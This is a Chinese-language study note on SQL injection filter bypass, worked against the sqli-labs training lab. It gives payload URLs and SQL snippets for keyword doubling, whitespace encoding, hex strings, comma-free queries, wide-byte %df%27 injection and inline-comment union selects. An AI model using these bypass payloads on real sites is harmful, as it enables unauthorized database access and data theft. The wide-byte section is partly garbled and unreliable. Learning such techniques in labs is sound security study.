SQL注入绕过
基本思路
基本思路找到一种可替换的符号或者可替换的逻辑语句。
--------------------------------------------------------分隔符---------------------------------------------------
过滤关键字
1、and与or的过滤
1)替换
or---> ||
and--> &&
2)形变或者大小写
and -> anandd
and -> And/AND
Less25–and和or的过滤
1)判断闭合方式
如果判断错误(图2),则页面不变,如果判断成功,页面会报错(图1)
再进一步判断:页面会报错
http://192.168.168.135/sqli-labs-master/Less-25/?id=1‘ and 1=1 --+
注意:报错是因为后台存在防御机制
2)做绕过:and的绕过也有好几种,但是有些能成功,有些也被做了防御,所以需要进行试探
http://192.168.168.135/sqli-labs-master/Less-25/?id=1’ anandd 1=1 --+
--------------------------------------------------------分隔符---------------------------------------------------
2、空格的绕过
1)替换
%0a,%0b,%0c,%0d,%a0,%00,/**/,/*!*/,(),[] 都能起到隔开两个命令、语句的作用
Less26:空格的绕过、注释符
http://192.168.168.135/sqli-labs-master/Less-26/?id=1'and%0b'1'='1
--------------------------------------------------------分隔符---------------------------------------------------
3、引号绕过
hex编码
where schema_name='security'
where schema_name=0xyyyyyyy //hex编码替换
where schema_name=database() //函数替换
--------------------------------------------------------分隔符---------------------------------------------------
4、逗号绕过
select mid('abc',1,1);
select mid('abc' from 1 for 1); //用from for替换
select 1,2; select from 1 for 2; //出错,逗号应该是逻辑上的替换
select 1;
=select * from (select 1)a
select 1,2,3;
=select * from (select 1)a join (select 2)b
select 1,2,3;
=select * from (select 1)a join (select 2)b join (select 3)c;
--------------------------------------------------------分隔符---------------------------------------------------
5、等号、大于号、小于号绕过
= ---like
select id from users where username='admin';
=select id from users where username like 'admin'; //like替换等号
greatest和least
select hex(mid('abc',1,1))>1;
=select least(hex(mid('abc',1,1)),1)like1;
select 1 from users where username between 2 and 1;
--------------------------------------------------------分隔符---------------------------------------------------
6、等价函数
hex()---bin()、ascii()
sleep()---waitfor()、benchmark()
mid() ---substr()、substring()
--------------------------------------------------------分隔符---------------------------------------------------
7、宽字节注入–绕过单引号、双引号过滤
%7e %7e%15
某个汉字=%df%27 %df=\ %27='
后台机制会给特殊字符添加转义字符来达到防御的目的’—>’,当你输入%5c%27,后台对%5c添加转义%df等于你输入的%5c%27组合数据就被添加为%df%5c%27,但是%df%5c是一个宽字节汉字,然后就会形成 縗%27 ->縗’
‘–>’ %5c%5c%5c%27 %df%5c%5c%5c%27 縗\’
select ‘1’’; 输出:1’
’ 语法含义的单引号,是一个闭合符
’ 字符串单引号
\’ 人为添加一个,将’转为一个闭合符
--------------------------------------------------------分隔符---------------------------------------------------
8、内联注释绕过
通过/!/ 包裹执行语句达到欺骗防御的目的
select 1,2 from users;
select username,password from users limit 0,1;
select username,password from users limit 0,1 /*!union*/ /*!all*/ /*!select*/ 1,2; //如果过滤了union,使用内联注释包裹